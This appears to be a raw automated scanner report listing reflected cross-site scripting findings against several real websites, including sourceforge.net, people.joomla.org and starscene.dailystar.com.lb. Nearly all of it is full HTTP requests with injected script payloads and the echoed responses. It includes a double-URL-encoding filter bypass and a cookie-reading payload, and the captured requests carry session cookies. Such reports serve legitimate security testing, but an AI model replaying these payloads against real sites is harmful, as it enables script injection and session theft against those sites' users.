GET /news/aub/x22?5d2c2"-alert(1)-"86792ffaf77=1 HTTP/1.1 Host: openports.se Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:47:03 GMT Server: Apache X-Powered-By: PHP/5.2.10 Connection: close Content-Type: text/html Content-Length: 11713
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> <head> <title>OpenP ...[SNIP]... _id = sajax_target_id; if (typeof(sajax_request_type) == "undefined" || sajax_request_type == "") sajax_request_type = "GET";
uri = "http://openports.se/view_port.php?path=/news/aub/x22?5d2c2"-alert(1)-"86792ffaf77=1"; if (sajax_request_type == "GET") {
if (uri.indexOf("?") == -1) uri += "?rs=" + escape(func_name); else uri += "&rs=" + escape(func_name); uri += "&rst=" + escape(saja ...[SNIP]...
The value of the groupid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1e57e%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee630941430d was submitted in the groupid parameter. This input was echoed as 1e57e\"><script>alert(1)</script>e630941430d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of the groupid request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /groups/viewdiscussion/996-Joomla..%2016%20Has%20Arrived.html?groupid=7141e57e%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee630941430d HTTP/1.1 Host: people.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:48:53 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 33e27d3d0725f34a77c307be63476b5b=e0d536d51f63412f1cb4302ffe89e94c; path=/ Set-Cookie: currentURI=http%3A%2F%2Fpeople.joomla.org%2Fgroups%2Fviewdiscussion%2F996-Joomla%C2%AE+16+Has+Arrived.html%3Fgroupid%3D7141e57e%26quot%3B%26gt%3B%26lt%3Bscript%26gt%3Balert%281%29%26lt%3B%2Fscript%26gt%3Be630941430d; expires=Tue, 25-Jan-2011 22:48:53 GMT; path=/ Last-Modified: Mon, 24 Jan 2011 22:48:53 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 27970
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > < ...[SNIP]... <a href="/groups/viewgroup/7141e57e\"><script>alert(1)</script>e630941430d-.html"> ...[SNIP]...
The value of the slotname request parameter is copied into the HTML document as plain text between tags. The payload c4594<script>alert(1)</script>2bd00b98417 was submitted in the slotname parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /gampad/ads?correlator=1295919341357&output=json_html&callback=GA_googleSetAdContentsBySlotForSync&impl=s&client=ca-pub-1189370408998555&slotname=Joomla_JoomlacodeSidec4594<script>alert(1)</script>2bd00b98417&page_slots=Joomla_JoomlacodeSide&cookie=ID%3D9359d8f79e15ae5a%3AT%3D1295919318%3AS%3DALNI_Mb9KeJU8eq3mD4PF_k88Atvfmn5hg&ga_vid=760811261.1295919318&ga_sid=1295919318&ga_hid=560912139&ga_fc=true&url=http%3A%2F%2Fjoomlacode.org%2Fgf%2Fproject%2Fjoomla%2Freporting%2F&ref=http%3A%2F%2Fjoomlacode.org%2Fgf%2Fproject%2Fjoomla%2Ftracker%2F%3F3ee00%2522style%253d%2522x%253aexpression(alert(1))%2522744e3c5545f%3D1&lmt=1295940941&dt=1295919341362&cc=12&biw=1155&bih=1012&ifi=1&adk=4176925214&u_tz=-360&u_his=3&u_java=true&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&flash=10.1.103 HTTP/1.1 Host: pubads.g.doubleclick.net Proxy-Connection: keep-alive Referer: http://joomlacode.org/gf/project/joomla/reporting/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Type: text/javascript; charset=UTF-8 X-Content-Type-Options: nosniff Date: Tue, 25 Jan 2011 03:09:13 GMT Server: gfp-be Cache-Control: private, x-gzip-ok="" X-XSS-Protection: 1; mode=block Content-Length: 2572
GA_googleSetAdContentsBySlotForSync({"Joomla_JoomlacodeSidec4594<script>alert(1)</script>2bd00b98417":{"_type_":"html","_expandable_":false,"_html_":"\x3c!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\"\"http://www.w3.org/TR/html4/strict.dtd\"\x3e\x3chtml\x3e\x3chead\x3e\x3cstyle\x3ea:link{color:#f ...[SNIP]...
The value of the fq%5B%5D\\x3dtrove:20\\x26amp;sort\\x3dlatest_file_date\\x26amp;sortdir\\x3ddesc\\x26amp;limit\\x3d100\\x22 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3bf8b"><script>alert(1)</script>21a82293602 was submitted in the fq%5B%5D\\x3dtrove:20\\x26amp;sort\\x3dlatest_file_date\\x26amp;sortdir\\x3ddesc\\x26amp;limit\\x3d100\\x22 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /softwaremap/?fq%5B%5D\\x3dtrove:20\\x26amp;sort\\x3dlatest_file_date\\x26amp;sortdir\\x3ddesc\\x26amp;limit\\x3d100\\x223bf8b"><script>alert(1)</script>21a82293602 HTTP/1.1 Host: sourceforge.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- Create Server: sfs-web-8 --> <!-- ~ SourceForge.net: Find and B ...[SNIP]... <a href="/softwaremap/?fq%5B%5D\\x3dtrove:20\\x26amp;sort\\x3dlatest_file_date\\x26amp;sortdir\\x3ddesc\\x26amp;limit\\x3d100\\x223bf8b"><script>alert(1)</script>21a82293602&fq%5B%5D=trove%3A688"> ...[SNIP]...
4.188. http://sourceforge.net/softwaremap/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://sourceforge.net
Path:
/softwaremap/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a3f06"><script>alert(1)</script>8a4aedca02f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /softwaremap/?a3f06"><script>alert(1)</script>8a4aedca02f=1 HTTP/1.1 Host: sourceforge.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a960d"><script>alert(1)</script>b7d5247b69c was submitted in the REST URL parameter 1. This input was echoed as a960d\"><script>alert(1)</script>b7d5247b69c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /music-scenea960d"><script>alert(1)</script>b7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 HTTP/1.1 Host: starscene.dailystar.com.lb Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 16:03:34 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.7 X-Pingback: http://starscene.dailystar.com.lb/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: PHPSESSID=l9al9g2s3e29u7v3gna9e669j0; path=/ Set-Cookie: crep=show; expires=Tue, 25-Jan-2011 16:03:34 GMT; path=/; domain=.starscene.dailystar.com.lb Last-Modified: Mon, 24 Jan 2011 16:03:34 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 51083
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 81402"><script>alert(1)</script>a730c9df6b2 was submitted in the REST URL parameter 2. This input was echoed as 81402\"><script>alert(1)</script>a730c9df6b2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /music-scene/201081402"><script>alert(1)</script>a730c9df6b2/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 HTTP/1.1 Host: starscene.dailystar.com.lb Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 16:03:52 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.7 X-Pingback: http://starscene.dailystar.com.lb/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: PHPSESSID=n8hb7utbvn3u89gr4auv5dm5f3; path=/ Set-Cookie: crep=show; expires=Tue, 25-Jan-2011 16:03:52 GMT; path=/; domain=.starscene.dailystar.com.lb Last-Modified: Mon, 24 Jan 2011 16:03:52 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 51083
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload df173"><script>alert(1)</script>06915548014 was submitted in the REST URL parameter 3. This input was echoed as df173\"><script>alert(1)</script>06915548014 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /music-scene/2010/11df173"><script>alert(1)</script>06915548014/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 HTTP/1.1 Host: starscene.dailystar.com.lb Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 16:04:11 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.7 X-Pingback: http://starscene.dailystar.com.lb/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: PHPSESSID=mnk1ekv0l7qhvftnveimin27t7; path=/ Set-Cookie: crep=show; expires=Tue, 25-Jan-2011 16:04:11 GMT; path=/; domain=.starscene.dailystar.com.lb Last-Modified: Mon, 24 Jan 2011 16:04:11 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 51083
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e2f50"><script>alert(1)</script>fe8bd646812 was submitted in the REST URL parameter 4. This input was echoed as e2f50\"><script>alert(1)</script>fe8bd646812 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /music-scene/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-halle2f50"><script>alert(1)</script>fe8bd646812/x22 HTTP/1.1 Host: starscene.dailystar.com.lb Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 16:04:28 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.7 X-Pingback: http://starscene.dailystar.com.lb/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: PHPSESSID=5cgd55tpqcii02hiik54n184h3; path=/ Set-Cookie: crep=show; expires=Tue, 25-Jan-2011 16:04:28 GMT; path=/; domain=.starscene.dailystar.com.lb Last-Modified: Mon, 24 Jan 2011 16:04:28 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 51083
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 317bf"><script>alert(1)</script>7cea82c0756 was submitted in the REST URL parameter 5. This input was echoed as 317bf\"><script>alert(1)</script>7cea82c0756 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /music-scene/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22317bf"><script>alert(1)</script>7cea82c0756 HTTP/1.1 Host: starscene.dailystar.com.lb Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 16:04:45 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.7 X-Pingback: http://starscene.dailystar.com.lb/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: PHPSESSID=osrr4es1khehpbsg2bdcc0cic4; path=/ Set-Cookie: crep=show; expires=Tue, 25-Jan-2011 16:04:45 GMT; path=/; domain=.starscene.dailystar.com.lb Last-Modified: Mon, 24 Jan 2011 16:04:45 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 51083
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
4.194. http://starscene.dailystar.com.lb/music-scene/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d2fad"><script>alert(1)</script>848aa3101ef was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as d2fad\"><script>alert(1)</script>848aa3101ef in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /music-scene/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22?d2fad"><script>alert(1)</script>848aa3101ef=1 HTTP/1.1 Host: starscene.dailystar.com.lb Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 16:02:56 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.7 X-Pingback: http://starscene.dailystar.com.lb/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: lastpost=69d27e147f4cc463cfb778d7ebaddd75 Set-Cookie: PHPSESSID=5picprkcup404b60pv5q8khbh4; path=/ Set-Cookie: crep=show; expires=Tue, 25-Jan-2011 16:02:57 GMT; path=/; domain=.starscene.dailystar.com.lb Last-Modified: Mon, 24 Jan 2011 16:02:57 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 51089
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ee649"><script>alert(1)</script>343c7fa038d was submitted in the REST URL parameter 6. This input was echoed as ee649\"><script>alert(1)</script>343c7fa038d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/index.phpee649"><script>alert(1)</script>343c7fa038d HTTP/1.1 Host: starscene.dailystar.com.lb Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=191539816.1295903510.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; lastpost=b5ecd3c5dc5b053e7b22b8e1502a67b3; PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; __utma=191539816.66428457.1295903510.1295903510.1295903510.1; __utmc=191539816; __utmb=191539816.1.10.1295903510; fbsetting_018ba7e06c4505193be6bdac2b0628d9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; crep=show;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 23:22:45 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.7 X-Pingback: http://starscene.dailystar.com.lb/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: crep=show; expires=Tue, 25-Jan-2011 23:22:45 GMT; path=/; domain=.starscene.dailystar.com.lb Last-Modified: Mon, 24 Jan 2011 23:22:45 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 51233
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4f700"><script>alert(1)</script>6bdd23bb74f was submitted in the REST URL parameter 1. This input was echoed as 4f700\"><script>alert(1)</script>6bdd23bb74f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content4f700"><script>alert(1)</script>6bdd23bb74f/plugins/cool-ryan-easy-popups/lib/css/redmond/custom.css?ver=2.9.2 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b75c3"><script>alert(1)</script>5f63b93ea21 was submitted in the REST URL parameter 2. This input was echoed as b75c3\"><script>alert(1)</script>5f63b93ea21 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/pluginsb75c3"><script>alert(1)</script>5f63b93ea21/cool-ryan-easy-popups/lib/css/redmond/custom.css?ver=2.9.2 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 293b2"><script>alert(1)</script>c4fe96232b6 was submitted in the REST URL parameter 3. This input was echoed as 293b2\"><script>alert(1)</script>c4fe96232b6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/cool-ryan-easy-popups293b2"><script>alert(1)</script>c4fe96232b6/lib/css/redmond/custom.css?ver=2.9.2 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f66f4"><script>alert(1)</script>99dd70eac0b was submitted in the REST URL parameter 4. This input was echoed as f66f4\"><script>alert(1)</script>99dd70eac0b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/cool-ryan-easy-popups/libf66f4"><script>alert(1)</script>99dd70eac0b/css/redmond/custom.css?ver=2.9.2 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 64982"><script>alert(1)</script>2aae682cb86 was submitted in the REST URL parameter 5. This input was echoed as 64982\"><script>alert(1)</script>2aae682cb86 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/cool-ryan-easy-popups/lib/css64982"><script>alert(1)</script>2aae682cb86/redmond/custom.css?ver=2.9.2 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 56ad2"><script>alert(1)</script>281b5578e7d was submitted in the REST URL parameter 6. This input was echoed as 56ad2\"><script>alert(1)</script>281b5578e7d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/cool-ryan-easy-popups/lib/css/redmond56ad2"><script>alert(1)</script>281b5578e7d/custom.css?ver=2.9.2 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8a6aa"><script>alert(1)</script>84c0efbbd58 was submitted in the REST URL parameter 7. This input was echoed as 8a6aa\"><script>alert(1)</script>84c0efbbd58 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/cool-ryan-easy-popups/lib/css/redmond/custom.css8a6aa"><script>alert(1)</script>84c0efbbd58?ver=2.9.2 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c399a"><script>alert(1)</script>9ef6eff5d83 was submitted in the REST URL parameter 1. This input was echoed as c399a\"><script>alert(1)</script>9ef6eff5d83 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-contentc399a"><script>alert(1)</script>9ef6eff5d83/plugins/cool-ryan-easy-popups/lib/js/jquery-ui-effects.js?ver=2.9.2 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cc71c"><script>alert(1)</script>517800f4c48 was submitted in the REST URL parameter 2. This input was echoed as cc71c\"><script>alert(1)</script>517800f4c48 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
